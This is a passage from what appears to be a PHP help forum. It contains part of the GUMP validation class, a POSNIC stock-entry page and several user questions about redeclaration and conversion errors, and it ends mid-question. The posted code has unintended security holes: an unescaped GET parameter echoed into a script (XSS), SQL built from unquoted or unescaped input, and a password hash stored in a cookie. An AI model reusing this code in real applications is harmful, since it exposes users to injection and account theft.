* @return string
*/
protected function filter_noise_words($value, $params = NULL)
{
$value = preg_replace('/\s\s+/u', chr(32),$value);
$value = " $value ";
$words = explode(',', self::$en_noise_words);
foreach($words as $word)
{
$word = trim($word);
$word = " $word "; // Normalize
if(stripos($value, $word) !== FALSE)
{
$value = str_ireplace($word, chr(32), $value);
}
}
return trim($value);
}
/**
* Remove all known punctuation from a string
*
* Usage: '<index>' => 'rmpunctuataion'
*
* @access protected
* @param string $value
* @param array $params
* @return string
*/
protected function filter_rmpunctuation($value, $params = NULL)
{
return preg_replace("/(?![.=$'€%-])\p{P}/u", '', $value);
}
/**
* Translate an input string to a desired language [DEPRECIATED]
*
* Any ISO 639-1 2 character language code may be used
*
* See: http://www.science.co.il/language/Codes.asp?s=code2
*
* @access protected
* @param string $value
* @param array $params
* @return string
*/
/*
protected function filter_translate($value, $params = NULL)
{
$input_lang = 'en';
$output_lang = 'en';
if(is_null($params))
{
return $value;
}
switch(count($params))
{
case 1:
$input_lang = $params[0];
break;
case 2:
$input_lang = $params[0];
$output_lang = $params[1];
break;
}
$text = urlencode($value);
$translation = file_get_contents(
"http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q={$text}&langpair={$input_lang}|{$output_lang}"
);
$json = json_decode($translation, true);
if($json['responseStatus'] != 200)
{
return $value;
}
else
{
return $json['responseData']['translatedText'];
}
}
*/
/**
* Sanitize the string by removing any script tags
*
* Usage: '<index>' => 'sanitize_string'
*
* @access protected
* @param string $value
* @param array $params
* @return string
*/
protected function filter_sanitize_string($value, $params = NULL)
{
return filter_var($value, FILTER_SANITIZE_STRING);
}
/**
* Sanitize the string by urlencoding characters
*
* Usage: '<index>' => 'urlencode'
*
* @access protected
* @param string $value
* @param array $params
* @return string
*/
protected function filter_urlencode($value, $params = NULL)
{
return filter_var($value, FILTER_SANITIZE_ENCODED);
}
/**
* Sanitize the string by converting HTML characters to their HTML entities
*
* Usage: '<index>' => 'htmlencode'
*
* @access protected
* @param string $value
* @param array $params
* @return string
*/
protected function filter_htmlencode($value, $params = NULL)
{
return filter_var($value, FILTER_SANITIZE_SPECIAL_CHARS);
}
/**
* Sanitize the string by removing illegal characters from emails
*
* Usage: '<index>' => 'sanitize_email'
*
* @access protected
* @param string $value
* @param array $params
* @return string
*/
protected function filter_sanitize_email($value, $params = NULL)
{
return filter_var($value, FILTER_SANITIZE_EMAIL);
}
/**
* Sanitize the string by removing illegal characters from numbers
*
* @access protected
* @param string $value
* @param array $params
* @return string
*/
protected function filter_sanitize_numbers($value, $params = NULL)
{
return filter_var($value, FILTER_SANITIZE_NUMBER_INT);
}
/**
* Filter out all HTML tags except the defined basic tags
*
* @access protected
* @param string $value
* @param array $params
* @return string
*/
protected function filter_basic_tags($value, $params = NULL)
{
return strip_tags($value, self::$basic_tags);
}
/**
* Filter out all SQL Valnurablities
*
* @access protected
* @param string $value
* @param array $params
* @return string
*/
protected function filter_mysql_escape($value, $params = NULL)
{
return mysql_real_escape_string($value);
}
// ** ------------------------- Validators ------------------------------------ ** //
/**
* Verify that a value is contained within the pre-defined value set
*
* Usage: '<index>' => 'contains,value value value'
*
* @access protected
* @param string $field
* @param array $input
* @return mixed
*/
protected function validate_contains($field, $input, $param = NULL)
{
$param = trim(strtolower($param));
$value = trim(strtolower($input[$field]));
if (preg_match_all('#\'(.+?)\'#', $param, $matches, PREG_PATTERN_ORDER)) {
$param = $matches[1];
} else {
$param = explode(chr(32), $param);
}
if(in_array($value, $param)) { // valid, return nothing
return;
} else {
return array(
'field' => $field,
'value' => $value,
'rule' => __FUNCTION__,
'param' => $param
);
}
}
/**
* Check if the specified key is present and not empty
*
* Usage: '<index>' => 'required'
*
* @access protected
* @param string $field
* @param array $input
* @return mixed
*/
protected function validate_required($field, $input, $param = NULL)
{
if(isset($input[$field]) && trim($input[$field]) != '')
{
return;
}
else
{
return array(
'field' => $field,
'value' => NULL,
'rule' => __FUNCTION__,
'param' => $param
);
}
}
/**
* Determine if the provided email is valid
*
* Usage: '<index>' => 'valid_email'
*
* @access protected
* @param string $field
* @param array $input
* @return mixed
*/
protected function validate_valid_email($field, $input, $param = NULL)
{
if(!isset($input[$field]) || empty($input[$field]))
{
return;
}
if(!filter_var($input[$field], FILTER_VALIDATE_EMAIL))
{
return array(
'field' => $field,
'value' => $input[$field],
'rule' => __FUNCTION__,
'param' => $param
);
}
}
/**
* Determine if the provided value length is less or equal to a specific value
*
* Usage: '<index>' => 'max_len,240'
*
* @access protected
* @param string $field
* @param array $input
* @return mixed
*/
protected function validate_max_len($field, $input, $param = NULL)
{
if(!isset($input[$field]))
{
return;
}
if(function_exists('mb_strlen'))
{
if(mb_strlen($input[$field]) <= (int)$param)
{
return;
}
}
else
{
if(strlen($input[$field]) <= (int)$param)
{
return;
}
}
return array(
'field' => $field,
'value' => $input[$field],
'rule' => __FUNCTION__,
'param' => $param
);
}
/**
* Determine if the provided value length is more or equal to a specific value
*
* Usage: '<index>' => 'min_len,4'
*
* @access protected
* @param string $field
* @param array $input
* @return mixed
*/
protected function validate_min_len($field, $input, $param = NULL)
{
if(!isset($input[$field]))
{
return;
}
if(function_exists('mb_strlen'))
{
if(mb_strlen($input[$field]) >= (int)$param)
{
return;
}
}
else
{
if(strlen($input[$field]) >= (int)$param)
{
return;
}
}
return array(
'field' => $field,
'value' => $input[$field],
'rule' => __FUNCTION__,
'param' => $param
);
}
/**
* Determine if the provided value length matches a specific value
*
* Usage: '<index>' => 'exact_len,5'
*
* @access protected
* @param string $field
* @param array $input
* @return mixed
*/
protected function validate_exact_len($field, $input, $param = NULL)
{
if(!isset($input[$field]))
{
return;
}
if(function_exists('mb_strlen'))
{
if(mb_strlen($input[$field]) == (int)$param)
{
return;
}
}
else
{
if(strlen($input[$field]) == (int)$param)
{
return;
}
}
return array(
'field' => $field,
'value' => $input[$field],
'rule' => __FUNCTION__,
'param' => $param
);
}
/**
* Determine if the provided value contains only alpha characters
*
* Usage: '<index>' => 'alpha'
*
* @access protected
* @param string $field
* @param array $input
* @return mixed
*/
protected function validate_alpha($field, $input, $param = NULL)
{
if(!isset($input[$field]) || empty($input[$field]))
{
return;
}
if(!preg_match("/^([a-zÀÁÂÃÄÅÇÈÉÊËÌÍÎÏÒÓÔÕÖÙÚÛÜÝàáâãäåçèéêëìíîïðòóôõöùúûüýÿ])+$/i", $input[$field]) !== FALSE)
{
return array(
'field' => $field,
'value' => $input[$field],
'rule' => __FUNCTION__,
'param' => $param
);
}
}
/**
* Determine if the provided value contains only alpha-numeric characters
*
* Usage: '<index>' => 'alpha_numeric'
*
* @access protected
* @param string $field
* @param array $input
* @return mixed
*/
protected function validate_alpha_numeric($field, $input, $param = NULL)
{
if(!isset($input[$field]) || empty($input[$field]))
{
return;
}
if(!preg_match("/^([a-z0-9ÀÁÂÃÄÅÇÈÉÊËÌÍÎÏÒÓÔÕÖÙÚÛÜÝàáâãäåçèéêëìíîïðòóôõöùúûüýÿ])+$/i", $input[$field]) !== FALSE)
{
return array(
'field' => $field,
'value' => $input[$field],
'rule' => __FUNCTION__,
'param' => $param
);
}
}
/**
* Determine if the provided value contains only alpha characters with dashed and underscores
*
* Usage: '<index>' => 'alpha_dash'
*
* @access protected
* @param string $field
* @param array $input
* @return mixed
*/
protected function validate_alpha_dash($field, $input, $param = NULL)
{
if(!isset($input[$field]) || empty($input[$field]))
{
return;
}
if(!preg_match("/^([a-z0-9ÀÁÂÃÄÅÇÈÉÊËÌÍÎÏÒÓÔÕÖÙÚÛÜÝàáâãäåçèéêëìíîïðòóôõöùúûüýÿ_-])+$/i", $input[$field]) !== FALSE)
{
return array(
'field' => $field,
'value' => $input[$field],
'rule' => __FUNCTION__,
'param' => $param
);
}
}
/**
* Determine if the provided value is a valid number or numeric string
*
* Usage: '<index>' => 'numeric'
*
* @access protected
* @param string $field
* @param array $input
* @return mixed
*/
protected function validate_numeric($field, $input, $param = NULL)
{
if(!isset($input[$field]) || empty($input[$field]))
{
return;
}
if(!is_numeric($input[$field]))
{
return array(
'field' => $field,
'value' => $input[$field],
'rule' => __FUNCTION__,
'param' => $param
);
}
}
/**
* Determine if the provided value is a valid integer
*
* Usage: '<index>' => 'integer'
*
* @access protected
* @param string $field
* @param array $input
* @return mixed
*/
protected function validate_integer($field, $input, $param = NULL)
{
if(!isset($input[$field]) || empty($input[$field]))
{
return;
}
if(!filter_var($input[$field], FILTER_VALIDATE_INT))
{
return array(
'field' => $field,
'value' => $input[$field],
'rule' => __FUNCTION__,
'param' => $param
);
}
}
/**
* Determine if the provided value is a PHP accepted boolean
*
* Usage: '<index>' => 'boolean'
*
* @access protected
* @param string $field
* @param array $input
* @return mixed
*/
protected function validate_boolean($field, $input, $param = NULL)
{
if(!isset($input[$field]) || empty($input[$field]))
{
return;
}
$bool = filter_var($input[$field], FILTER_VALIDATE_BOOLEAN);
if(!is_bool($bool))
{
return array(
'field' => $field,
'value' => $input[$field],
'rule' => __FUNCTION__,
'param' => $param
);
}
}
/**
* Determine if the provided value is a valid float
*
* Usage: '<index>' => 'float'
*
* @access protected
* @param string $field
* @param array $input
* @return mixed
*/
protected function validate_float($field, $input, $param = NULL)
{
if(!isset($input[$field]) || empty($input[$field]))
{
return;
}
if(!filter_var($input[$field], FILTER_VALIDATE_FLOAT))
{
return array(
'field' => $field,
'value' => $input[$field],
'rule' => __FUNCTION__,
'param' => $param
);
}
}
/**
* Determine if the provided value is a valid URL
*
* Usage: '<index>' => 'valid_url'
*
* @access protected
* @param string $field
* @param array $input
* @return mixed
*/
protected function validate_valid_url($field, $input, $param = NULL)
{
if(!isset($input[$field]) || empty($input[$field]))
{
return;
}
if(!filter_var($input[$field], FILTER_VALIDATE_URL))
{
return array(
'field' => $field,
'value' => $input[$field],
'rule' => __FUNCTION__,
'param' => $param
);
}
}
/**
* Determine if a URL exists & is accessible
*
* Usage: '<index>' => 'url_exists'
*
* @access protected
* @param string $field
* @param array $input
* @return mixed
*/
protected function validate_url_exists($field, $input, $param = NULL)
{
if(!isset($input[$field]) || empty($input[$field]))
{
return;
}
$url = str_replace(
array('http://', 'https://', 'ftp://'), '', strtolower($input[$field])
);
if(function_exists('checkdnsrr'))
{
if(!checkdnsrr($url))
{
return array(
'field' => $field,
'value' => $input[$field],
'rule' => __FUNCTION__,
'param' => $param
);
}
}
else
{
if(gethostbyname($url) == $url)
{
return array(
'field' => $field,
'value' => $input[$field],
'rule' => __FUNCTION__,
'param' => $param
);
}
}
}
/**
* Determine if the provided value is a valid IP address
*
* Usage: '<index>' => 'valid_ip'
*
* @access protected
* @param string $field
* @param array $input
* @return mixed
*/
protected function validate_valid_ip($field, $input, $param = NULL)
{
if(!isset($input[$field]) || empty($input[$field]))
{
return;
}
if(!filter_var($input[$field], FILTER_VALIDATE_IP) !== FALSE)
{
return array(
'field' => $field,
'value' => $input[$field],
'rule' => __FUNCTION__,
'param' => $param
);
}
}
/**
* Determine if the provided value is a valid IPv4 address
*
* Usage: '<index>' => 'valid_ipv4'
*
* @access protected
* @param string $field
* @param array $input
* @return mixed
*/
protected function validate_valid_ipv4($field, $input, $param = NULL)
{
if(!isset($input[$field]) || empty($input[$field]))
{
return;
}
if(!filter_var($input[$field], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== FALSE)
{
return array(
'field' => $field,
'value' => $input[$field],
'rule' => __FUNCTION__,
'param' => $param
);
}
}
/**
* Determine if the provided value is a valid IPv6 address
*
* Usage: '<index>' => 'valid_ipv6'
*
* @access protected
* @param string $field
* @param array $input
* @return mixed
*/
protected function validate_valid_ipv6($field, $input, $param = NULL)
{
if(!isset($input[$field]) || empty($input[$field]))
{
return;
}
if(!filter_var($input[$field], FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== FALSE)
{
return array(
'field' => $field,
'value' => $input[$field],
'rule' => __FUNCTION__,
'param' => $param
);
}
}
/**
* Determine if the input is a valid credit card number
*
* See: http://stackoverflow.com/questions/174730/what-is-the-best-way-to-validate-a-credit-card-in-php
* Usage: '<index>' => 'valid_cc'
*
* @access protected
* @param string $field
* @param array $input
* @return mixed
*/
protected function validate_valid_cc($field, $input, $param = NULL)
{
if(!isset($input[$field]) || empty($input[$field]))
{
return;
}
$number = preg_replace('/\D/', '', $input[$field]);
if(function_exists('mb_strlen'))
{
$number_length = mb_strlen($input[$field]);
}
else
{
$number_length = strlen($input[$field]);
}
$parity = $number_length % 2;
$total = 0;
for($i = 0; $i < $number_length; $i++)
{
$digit = $number[$i];
if ($i % 2 == $parity)
{
$digit *= 2;
if ($digit > 9)
{
$digit -= 9;
}
}
$total += $digit;
}
if($total % 10 == 0)
{
return; // Valid
}
else
{
return array(
'field' => $field,
'value' => $input[$field],
'rule' => __FUNCTION__,
'param' => $param
);
}
}
/**
* Determine if the input is a valid human name [Credits to http://github.com/ben-s]
*
* See: https://github.com/Wixel/GUMP/issues/5
* Usage: '<index>' => 'valid_name'
*
* @access protected
* @param string $field
* @param array $input
* @return mixed
*/
protected function validate_valid_name($field, $input, $param = NULL)
{
if(!isset($input[$field])|| empty($input[$field]))
{
return;
}
if(!preg_match("/^([a-zÀÁÂÃÄÅÇÈÉÊËÌÍÎÏÒÓÔÕÖÙÚÛÜÝàáâãäåçèéêëìíîïñðòóôõöùúûüýÿ '-])+$/i", $input[$field]) !== FALSE)
{
return array(
'field' => $field,
'value' => $input[$field],
'rule' => __FUNCTION__,
'param' => $param
);
}
}
/**
* Determine if the provided input is likely to be a street address using weak detection
*
* Usage: '<index>' => 'street_address'
*
* @access protected
* @param string $field
* @param array $input
* @return mixed
*/
protected function validate_street_address($field, $input, $param = NULL)
{
if(!isset($input[$field])|| empty($input[$field]))
{
return;
}
// Theory: 1 number, 1 or more spaces, 1 or more words
$hasLetter = preg_match('/[a-zA-Z]/', $input[$field]);
$hasDigit = preg_match('/\d/' , $input[$field]);
$hasSpace = preg_match('/\s/' , $input[$field]);
$passes = $hasLetter && $hasDigit && $hasSpace;
if(!$passes) {
return array(
'field' => $field,
'value' => $input[$field],
'rule' => __FUNCTION__,
'param' => $param
);
}
}
} // EOC
Here is add_stock.php
<?php
include_once("init.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>POSNIC - Add Stock Category</title>
<!-- Stylesheets -->
<link href='http://fonts.googleapis.com/css?family=Droid+Sans:400,700' rel='stylesheet'>
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="js/date_pic/date_input.css">
<link rel="stylesheet" href="lib/auto/css/jquery.autocomplete.css">
<!-- Optimize for mobile devices -->
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<!-- jQuery & JS files -->
<?php include_once("tpl/common_js.php"); ?>
<script src="js/script.js"></script>
<script src="js/date_pic/jquery.date_input.js"></script>
<script src="lib/auto/js/jquery.autocomplete.js "></script>
<script>
/*$.validator.setDefaults({
submitHandler: function() { alert("submitted!"); }
});*/
$(document).ready(function() {
$("#supplier").autocomplete("supplier1.php", {
width: 160,
autoFill: true,
selectFirst: true
});
$("#category").autocomplete("category.php", {
width: 160,
autoFill: true,
selectFirst: true
});
// validate signup form on keyup and submit
$("#form1").validate({
rules: {
name: {
required: true,
minlength: 3,
maxlength: 200
},
stockid: {
required: true,
minlength: 3,
maxlength: 200
},
cost: {
required: true,
},
sell: {
required: true,
}
},
messages: {
name: {
required: "Please Enter Stock Name",
minlength: "Category Name must consist of at least 3 characters"
},
stockid: {
required: "Please Enter Stock ID",
minlength: "Category Name must consist of at least 3 characters"
},
sell: {
required: "Please Enter Selling Price",
minlength: "Category Name must consist of at least 3 characters"
},
cost: {
required: "Please Enter Cost Price",
minlength: "Category Name must consist of at least 3 characters"
}
}
});
});
function numbersonly(e){
var unicode=e.charCode? e.charCode : e.keyCode
if (unicode!=8 && unicode!=46 && unicode!=37 && unicode!=38 && unicode!=39 && unicode!=40 && unicode!=9){ //if the key isn't the backspace key (which we should allow)
if (unicode<48||unicode>57)
return false
}
}
</script>
</script>
</head>
<body>
<!-- TOP BAR -->
<?php include_once("tpl/top_bar.php"); ?>
<!-- end top-bar -->
<!-- HEADER -->
<div id="header-with-tabs">
<div class="page-full-width cf">
<ul id="tabs" class="fl">
<li><a href="dashboard.php" class="dashboard-tab">Dashboard</a></li>
<li><a href="view_sales.php" class="sales-tab">Sales</a></li>
<li><a href="view_customers.php" class=" customers-tab">Customers</a></li>
<li><a href="view_purchase.php" class="purchase-tab">Purchase</a></li>
<li><a href="view_supplier.php" class=" supplier-tab">Supplier</a></li>
<li><a href="view_product.php" class="active-tab stock-tab">Stocks / Products</a></li>
<li><a href="view_payments.php" class="payment-tab">Payments / Outstandings</a></li>
<li><a href="view_report.php" class="report-tab">Reports</a></li>
</ul> <!-- end tabs -->
<!-- Change this image to your own company's logo -->
<!-- The logo will automatically be resized to 30px height. -->
<a href="#" id="company-branding-small" class="fr"><img src="<?php if(isset($_SESSION['logo'])) { echo "upload/".$_SESSION['logo'];}else{ echo "upload/posnic.png"; } ?>" alt="Point of Sale" /></a>
</div> <!-- end full-width -->
</div> <!-- end header -->
<!-- MAIN CONTENT -->
<div id="content">
<div class="page-full-width cf">
<div class="side-menu fl">
<h3>Stock Management</h3>
<ul>
<li><a href="add_stock.php">Add Stock/Product</a></li>
<li><a href="view_product.php">View Stock/Product</a></li>
<li><a href="add_category.php">Add Stock Category</a></li>
<li><a href="view_category.php">view Stock Category</a></li>
<li><a href="view_stock_availability.php">view Stock Available</a></li>
</ul>
</div> <!-- end side-menu -->
<div class="side-content fr">
<div class="content-module">
<div class="content-module-heading cf">
<h3 class="fl">Add Stock </h3>
<span class="fr expand-collapse-text">Click to collapse</span>
<div style="margin-top: 15px;margin-left: 150px"></div>
<span class="fr expand-collapse-text initial-expand">Click to expand</span>
</div> <!-- end content-module-heading -->
<div class="content-module-main cf">
<?php
//Gump is libarary for Validatoin
if(isset($_POST['name'])){
$_POST = $gump->sanitize($_POST);
$gump->validation_rules(array(
'name' => 'required|max_len,100|min_len,3',
'stockid' => 'required|max_len,200',
'sell' => 'required|max_len,200',
'cost' => 'required|max_len,200',
'supplier' => 'max_len,200',
'category' => 'max_len,200'
));
$gump->filter_rules(array(
'name' => 'trim|sanitize_string|mysql_escape',
'stockid' => 'trim|sanitize_string|mysql_escape',
'sell' => 'trim|sanitize_string|mysql_escape',
'cost' => 'trim|sanitize_string|mysql_escape',
'category' => 'trim|sanitize_string|mysql_escape',
'supplier' => 'trim|sanitize_string|mysql_escape'
));
$validated_data = $gump->run($_POST);
$name = "";
$stockid = "";
$sell = "";
$cost = "";
$supplier = "";
$category = "";
if($validated_data === false) {
echo $gump->get_readable_errors(true);
} else {
$name=mysql_real_escape_string($_POST['name']);
$stockid=mysql_real_escape_string($_POST['stockid']);
$sell=mysql_real_escape_string($_POST['sell']);
$cost=mysql_real_escape_string($_POST['cost']);
$supplier=mysql_real_escape_string($_POST['supplier']);
$category=mysql_real_escape_string($_POST['category']);
$count = $db->countOf("stock_details", "stock_name ='$name'");
if($count>1)
{
$data='Dublicat Entry. Please Verify';
$msg='<p style=color:red;font-family:gfont-family:Georgia, Times New Roman, Times, serif>'.$data.'</p>';//
?>
<script src="dist/js/jquery.ui.draggable.js"></script>
<script src="dist/js/jquery.alerts.js"></script>
<script src="dist/js/jquery.js"></script>
<link rel="stylesheet" href="dist/js/jquery.alerts.css" >
<script type="text/javascript">
jAlert('<?php echo $msg; ?>', 'POSNIC');
</script>
<?php
}
else
{
if($db->query("insert into stock_details(stock_id,stock_name,stock_quatity,supplier_id,company_price,selling_price,category) values('$stockid','$name',0,'$supplier',$cost,$sell,'$category')"))
{
$db->query("insert into stock_avail(name,quantity) values('$name',0)");
$msg=" $name Stock Details Added" ;
header("Location: add_stock.php?msg=$msg");
}else
echo "<br><font color=red size=+1 >Problem in Adding !</font>" ;
}
}
}
if(isset($_GET['msg'])){
$data=$_GET['msg'];
$msg='<p style=color:#153450;font-family:gfont-family:Georgia, Times New Roman, Times, serif>'.$data.'</p>';//
?>
<script src="dist/js/jquery.ui.draggable.js"></script>
<script src="dist/js/jquery.alerts.js"></script>
<script src="dist/js/jquery.js"></script>
<link rel="stylesheet" href="dist/js/jquery.alerts.css" >
<script type="text/javascript">
jAlert('<?php echo $msg; ?>', 'POSNIC');
</script>
<?php
}
?>
<form name="form1" method="post" id="form1" action="">
<table class="form" border="0" cellspacing="0" cellpadding="0">
<tr>
<?php
$max = $db->maxOfAll("id", "stock_details");
$max=$max+1;
$autoid="SD".$max."";
?>
<td><span class="man">*</span>Stock ID:</td>
<td><input name="stockid" type="text" id="stockid" readonly maxlength="200" class="round default-width-input" value="<?php echo $autoid; ?>" /></td>
<td><span class="man">*</span>Name:</td>
<td><input name="name"placeholder="ENTER CATEGORY NAME" type="text" id="name" maxlength="200" class="round default-width-input" value="<?php echo $name; ?>" /></td>
</tr>
<tr>
<td><span class="man">*</span>Cost:</td>
<td><input name="cost" placeholder="ENTER COST PRICE" type="text" id="cost" maxlength="200" class="round default-width-input" onkeypress="return numbersonly(event)" value="<?php echo $cost; ?>" /></td>
<td><span class="man">*</span>Sell:</td>
<td><input name="sell" placeholder="ENTER SELLING PRICE" type="text" id="sell" maxlength="200" class="round default-width-input" onkeypress="return numbersonly(event)" value="<?php echo $sell; ?>" /></td>
</tr>
<tr>
<td>Supplier:</td>
<td><input name="supplier" placeholder="ENTER SUPPLIER NAME" type="text" id="supplier" maxlength="200" class="round default-width-input" value="<?php echo $supplier; ?>" /></td>
<td>Category:</td>
<td><input name="category" placeholder="ENTER CATEGORY NAME" type="text" id="category" maxlength="200" class="round default-width-input" value="<?php echo $category; ?>" /></td>
</tr>
<tr>
<td> </td>
<td> </td>
</tr>
<tr>
<td>
</td>
<td>
<input class="button round blue image-right ic-add text-upper" type="submit" name="Submit" value="Add">
(Control + S)
<td align="right"><input class="button round red text-upper" type="reset" name="Reset" value="Reset"> </td>
</tr>
</table>
</form>
</div> <!-- end content-module-main -->
</div> <!-- end content-module -->
</div> <!-- end full-width -->
</div> <!-- end content -->
<!-- FOOTER -->
<div id="footer">
<p>Any Queries email to <a href="mailto:sridhar.posnic@gmail.com?subject=Stock%20Management%20System">sridhar.posnic@gmail.com</a>.</p>
</div> <!-- end footer -->
</body>
</html>
now who can tell me what is wrong with the function filter_var() method on line 186 in ump.class.php?
Hi everyone, I get this error: Catchable fatal error: Object of class Category could not be converted to string The code: public static function list_all_cat_names() { $result_array = self::find_by_sql("SELECT name FROM ".self::$table_name); return !empty($result_array) ? array_shift($result_array) : false; } $categories = Category::find_all(); foreach ($categories as $cats): echo $cats; endforeach; Where could be the problem? I had a problem with my code, the result shows 'Fatal error: Cannot redeclare create_form_input() (previously declared in ....\form_functions.inc.php:9) in ....\includes\form_functions.inc.php on line 32 I need to make registration forms and I already defined a function for creating this inputs.. here's the code Code: [Select] <?php function create_form_input($name, $type, $errors) { $value = false; if (isset($_POST[$name])) $value = $_POST[$name]; if ($value && get_magic_quotes_gpc( )) $value = stripslashes($value); if ( ($type == 'text') || ($type == 'password') ) { echo '<input type="' . $type . '" name="' . $name . '" id="' . $name . '"'; if ($value) echo ' value="' . htmlspecialchars($value) . '"'; if (array_key_exists($name, $errors)) { echo 'class="error" /> <span class="error">' . $errors[$name] .'</span>'; } else { echo ' />'; } } elseif ($type == 'textarea') { if (array_key_exists($name, $errors)) echo ' <span class="error">' .$errors[$name] . '</span>'; echo '<textarea name="' . $name . '" id="' . $name . '" rows="5" cols="75"'; if (array_key_exists($name, $errors)) { echo ' class="error">'; } else { echo '>'; } if ($value) echo $value; echo '</textarea>'; } // End of primary IF-ELSE. } // End of function And here is the form registration. Code: [Select] <?php require ('./includes/form_functions.inc.php'); ?> <form action="register.php" method="post" accept-charset="utf-8" style="padding-left:100px"> <p><label for="first_name"><strong>First Name</strong></label> <br /><?php create_form_input('first_name', 'text', $reg_errors); ?></p> <p><label for="last_name"><strong>Last Name</strong></label><br /><?php create_form_input('last_name', 'text', $reg_errors); ?></p> <p><label for="username"><strong>Desired Username</strong></label><br /> <?php create_form_input('username', 'text', $reg_errors); ?> <small>Only letters and numbers are allowed.</small></p> <p><label for="email"><strong>Email Address</strong></label> <br /><?php create_form_input('email', 'text', $reg_errors); ?></p> <p><label for="pass1"><strong>Password</strong></label><br /> <?php create_form_input('pass1', 'password', $reg_errors); ?> <small>Must be between 6 and 20 characters long, with at least one lowercase letter, one uppercase letter, and one number.</small></p> <p><label for="pass2"><strong>Confirm Password</strong> </label><br /><?php create_form_input('pass2', 'password', $reg_errors); ?></p> <input type="submit" name="submit_button" value="Next →" id="submit_button" class="formbutton" /> </form> Thanks before I have 4 php files. 1. dbuser.php, declares class dbuser.php, no includes 2. dbobject.php, declares class dbobject.php, includes file 1. 3. casedetails.php, includes files 1 and 2 4. viewcase.php, includes files 1 and 3. When I try to run file 4, i get cannot redeclare class dbuser.php - error Even every require is followed by _once, but I still get "Cannot redeclare class dbuser"-error when running file 4. Full PHP-code below. I tried also putting "if(!class_exists('dbuser')) { ... " around class dbuser declaration but I still got the same error.. Is this a bug in PHP? I'm running version 5.x on apache 2 Thanks! 1. dbuser.php Code: [Select] <?PHP //$time = round(microtime(), 3); session_start(); require_once("settings.php"); //this is just simple array class dbuser { //Constructor function __construct($username=NULL, $password=NULL, $cookies=FALSE) { //Yhdistet��n tietokantaan ja k�ynnistet��n sessio require_once("dbconnect.php"); //Jos ei annettu parametrein� kayttajanimea ja salasanaa if (!isset($username) | !isset($password)) { //Jos salasana ja kayttaja tallennettu SESSION variableen if (isset($_SESSION['user']['email']) && $this->checkFingerprint($_SESSION['user']['fingerprint'])) { $this->logged = TRUE; foreach($_SESSION['user'] as $key => $value) { $this->$key=$value; } //Jos salasana ja kayttaja tallennettu kekseihin } elseif ( isset($_COOKIE['email']) && isset($_COOKIE['password']) ) { $this->logged = ($this->login($_COOKIE['email'], $_COOKIE['password'], FALSE, TRUE)); } //Jos annettu parametrein� knimi ja pwd } else { $this->logged = ($this->login($username, $password, $cookies, FALSE)); } //Costructor loppuu } //Kirjautuu sisaan, ottaa parametreina knimen ja pwd:n sek� tallennetaanko kekseihin, sa sen onko pwd kryptattu valmiiksi public function login($username, $password, $cookies=FALSE, $precrypted=FALSE) { global $settings; if ($precrypted) { $password = mysql_real_escape_string($password); } else { $password = sha1($password); } $username = mysql_real_escape_string($username); //MySQL query $time = time(); $loginQuery = "SELECT * FROM users WHERE email='$username' AND salasana='$password' AND aktiivinen='1' AND (vanhenee>'$time' OR vanhenee='')"; $fprint = $this->createFingerprint(); if($precrypted) { $loginQuery .= " AND fingerprint='$fprint'"; } $result = mysql_query($loginQuery) or trigger_error(mysql_error); $login = mysql_num_rows($result) or trigger_error(mysql_error()); if ($login != 1) { setcookie("email",'',-100000, "/"); setcookie("password",'',-100000, "/"); mysql_close(); session_destroy(); return FALSE; } else { $result = mysql_fetch_assoc($result); foreach ($result as $field => $value) { $this->$field=$value; $_SESSION['user'][$field] = $value; } $update = "UPDATE users SET kirjautunut='" . time() . "' WHERE id='" . $this->id . "'"; mysql_query($update) or trigger_error(mysql_error()); $update = "UPDATE users SET fingerprint='" . $fprint . "' WHERE id='" . $this->id . "'"; mysql_query($update) or trigger_error(mysql_error()); $this->kirjautunut=time(); $_SESSION['user']['kirjautunut'] = time(); if ($cookies) { setcookie("email",$username,($settings['REMEMBER_LOGIN_DURATION'] + time()), "/"); setcookie("password",$password,($settings['REMEMBER_LOGIN_DURATION'] + time()), "/"); } return TRUE; } } public function adduser($values) { if ($this->logged) { $insert = "INSERT INTO users ("; $vals = " VALUES("; $values['salasana'] = sha1($values['salasana']); foreach($values as $key => $value) { $insert .= mysql_real_escape_string($key) . ', '; $vals .= "'" . mysql_real_escape_string($value) . "', "; } $insert = substr($insert, 0, -2); $vals = substr($vals , 0, -2); $insert .= ')'; $vals .= ')'; $insert .= $vals; mysql_query($insert) or trigger_error(mysql_error()); return TRUE; } else { return FALSE; } } public function getusers($where=NULL, $order=NULL, $desc=NULL) { $query = "SELECT * FROM users"; if (isset($where)) { $query .= " WHERE "; foreach($where as $column => $value) { $query .= $column . " = '" . $value . "' AND "; } $query = substr($query, 0 ,-4); } if (isset($order)) { $query .= " ORDER BY " . $order . " "; } if (isset($desc)) { $query .= 'DESC'; } $values = mysql_query($query) or trigger_error(mysql_error()); $counter = 0; while ($row = mysql_fetch_assoc($values)) { foreach ($row as $key => $value) { $return[$counter][$key] = $value; } $counter++; } return $return; } public function update($id, $data) { $insert = "UPDATE users SET "; foreach($data as $key => $value) { $insert .= $key . '='; $insert .= "'" .$value . "', "; } $insert = substr($insert, 0, -2); $insert .= " WHERE id = '" . $id . "'" ; unset($data['id']); mysql_query($insert) or trigger_error(mysql_error()); } public function remove($id) { $rem = "DELETE FROM users WHERE id=$id LIMIT 1"; mysql_query($rem) or trigger_error(mysql_error()); } private function createFingerprint() { $print = "NJIARDL"; $print .= $_SERVER['HTTP_USER_AGENT']; $print .= $_SERVER['REMOTE_ADDR']; return md5($print); } private function checkFingerprint($real) { $print = $this->createFingerprint(); if ($real == $print) { return TRUE; } else { return FALSE; } } // Class dbuser loppuu } 2. dbobject.php Code: [Select] <?PHP //$time = round(microtime(), 3); require_once("dbuser.php"); .... lots of irrelevant code... class dbobject { .... ?> 3. Code: [Select] <?PHP require_once('../PHPcore/dbuser.php'); // this causes the error somehow... $user = new dbuser(); if(!$user->logged) { Header("Location:index.php"); } ... Lots of irrelevant code.. 4. I tried running this file when got the error... Code: [Select] <?PHP session_start(); require_once("PHPcore/dbuser.php"); $user = new dbuser(); if(!$user->logged) { Header("Location:index.php"); } require_once("views/casedetails.php"); My website uses the Zend Framework. It also use openx to serve ads. Openx uses parts of the Zend Framework. I am getting this error. Cannot redeclare class 